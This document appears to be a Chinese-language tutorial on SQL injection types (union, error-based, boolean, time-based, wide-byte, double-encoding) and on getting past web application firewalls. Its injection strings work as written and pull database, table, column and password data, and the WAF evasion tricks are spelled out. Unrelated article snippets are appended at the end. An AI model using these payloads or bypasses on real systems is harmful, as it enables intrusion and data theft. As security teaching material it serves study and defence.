一、sql注入:
sql注入就是是一種將
sql語句插入或新增到應用(使用者
)的輸入
引數中的攻擊,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行。
最終使使用者可控的輸入被帶入到了資料庫中進行執行。
1.1存在
sql注入的地方大致有:
l get
l post
l cookie
l http頭部
1.2 sql注入的基本型別
l union聯合查詢注入
l 基於報錯注入(extractvalue(arg1,arg2),
updatexml
,floor
)l 基於布林型別注入
l 基於時間的注入 -- sleep(arg1), benchmark(arg1,arg2)
l 寬位元組注入,二次編碼注入
(%df%23, %2527)、
分類介紹:
1.2.1 union聯合查詢注入:需要的條件
1.union必須由兩條或兩條以上的
select
語句組成
2.union中的每個查詢必須包含相同的列
3.union會從查詢結果集中自動去除了重複行。
4.union注入使用的前提是頁面要有顯示位。這個也是乙個
union
的缺點或者說是限制。
union聯合查詢注入大致步驟:
1. 判斷列數 -- 通過
order by n;
2. 判斷顯示位 -- id =-1 union select 1,2,3...........
3. 爆庫
id=-1'union select 1,(select schema_name from information_schema.schemata limit 0,1),3--
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--
4. 爆表
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--
小計:
資料庫名稱可以用十六進製制來代替字串,這樣可以繞過單引號的限制
,也可以直接從資料庫查詢的語句取出來表的名
5. 暴欄位
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3--
6. 暴資料
?id=-1' union select 1,(select username from security.users limit 0,1),3--
1.2.2 報錯注入
1.報錯注入就是構造讓資訊通過錯誤提示回顯出來
,前提:頁面上沒有顯示位,但是需要執行sql語句輸出錯誤資訊
1.1通過
extractvalue(arg1,arg2)
報錯通過updatexml(arg1,arg2,arg3)報錯
通過floor(
arg1
)報錯1.2 步驟 :
1. 查詢資料庫名字
1』 and extractvalue(1,concat(0x74,(select database()),0x7e#
2. 檢視資料庫有哪些表
1』and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()) limit 0,1),0x7e)#
3,檢視表右哪些列名
1』and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=』users』 limit 0,1),0x7e))#
4,最後檢視資料
1』 and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#
1.2.3 基於布林型別的注入
頁面上不需要顯示位,也沒有輸出錯誤資訊,只能通過頁面返回是否正常
exists( )函式:
exists 用於檢查子查詢是否只要會返回一行資料,該子查詢實際上並不返回任何資料,而是返回true或false
ascii( )函式:
返回字串str的最左面字元的ascii**值。如果str是空字串,返回0。
查尋步驟同上面的一樣,只不過需要獲取結果的ascii值。來進行查詢字元
1.2.4 時間注入
原理:正確的sql語句和錯誤的
sql語句返回的時間不一樣,依此來判斷查詢結果的正確性,但是要耗費大量時間。
sleep(arg) arg中斷的時間,
select if(1=1,sleep( 5),0),結果頁面延遲
5秒顯示,如果判斷錯誤,則直接顯示
0,不進行等待5秒,
例如:select first_name,last_name from users where user_id='2' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>150,sleep(3),0);
// 表示當前庫的第二個表名的第乙個字元的
ascii
碼值大於
150,就延遲
3秒返回結果,若小於
150
,直接返回結果,不執行
sleep
()函式;
1.2.5寬位元組注入
&& 二次編碼注入
1.寬位元組注入主要是編碼轉換的問題的注入
2.當提交
id=1』 and 1=1%23後
,引號會被轉義為
1\』,顯然這是失敗的注入,。因為單引號被轉義導致沒有閉合前面的單引號。但是我們在提交id=1%df』 and 1%23 後,單引號會轉義成
\』--%5c和前面的
%df結合通過
gbk編碼得到乙個漢字,這時後面的單引號會閉合前面的單引號,形成完整的
sql查詢語句,
例如: and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e))%23
// 表示的是
根據表名,把對應表下面的列欄位全部根據錯誤注入的返回暴出。
二次編碼:形如id=2%2527, 先把
%25編碼為
%和後面的
27結合為
%27
,就是單引號。
二、繞過waf注入
1.什麼是waf
2.waf分類
1硬體waf ->伺服器 效能更加強大,裡面的核心原理還是規則匹配,
3**waf -> modsecurity
4軟體waf -> 安全狗
3. waf三個基本步驟: 身份認證 資料報解析 規則匹配。
4.waf的檢測主要有三個階段:
1.首先進行身份驗證,白名單的直接給伺服器,廢白名單的要去進行資料報的解析,
2.無法解析資料報的將丟棄給伺服器處理,正常解析的去進行規則判斷。
3.符合規則的給伺服器,不符合規則的將進行攔截。
5.怎麼繞過waf
1.身份認證的繞過
waf是有乙個白名單的,在白名單內的客戶請求將不做檢測
1.1偽造搜尋引擎
早些版本的安全狗是有這個漏洞的,就是把user-agent修改為搜尋引擎便可以繞過,進行sql注入等攻擊
1.2偽造白名單特殊目錄
1.3直接攻擊源站
這個方法的原理通過dns解析到雲waf,訪問**的流量要經過指定的dns伺服器解析,然後進入waf節點進行過濾,最後訪問原始伺服器,如果能通過一些手段找到原始的伺服器位址,便可以繞過.
2.資料報解析的繞過
2.1編碼繞過
進行urlencode
2.2修改請求方式繞過
有時候waf對get進行了過濾,但是cookie甚至post引數卻沒有檢測。
3.規則匹配的繞過
3.1特殊字元替換空格
3.2特殊字元拼接
把特殊字元拼接起來繞過waf的檢測,比如在mysql中,可以利用注釋/**/來繞過,
3)注釋包含關鍵字
SQL注入基本型別以及如何防止sql注入
注入型別 1.數字注入 select from users where name jack and password 1 or 1 1 password 2.字串注入 select from user where name jack and password sdjakfjsadklfjklsdfd...
sql注入100種姿勢過waf 一 waf 了解
1 雲waf 2 主機防護軟體 在主機上預先安裝了這種防護軟體,和監聽web埠的流量是否有惡意的,所以這種從功能上講較為全面。這裡再插一嘴,mod security ngx lua waf這類開源waf雖然看起來不錯,但是有個弱點就是公升級的成本會高一些。常見產品 雲鎖,安全狗之類產品。3 硬體wa...
2018 11 14 簡單的SQL注入(帶waf)
題目 簡單的sql注入 分值 10 url 解題思路 輸入1,顯示了正常id,輸入1 報錯mysql,明顯的sql注入點。直接嘗試sqlmap,沒有結果 或許應該嘗試 tamper 引數,使用指令碼過waf,或者抓個包試一下 輸入1 and 1 1 頁面沒有反應。手工輸入1 and 1 2,頁面沒有...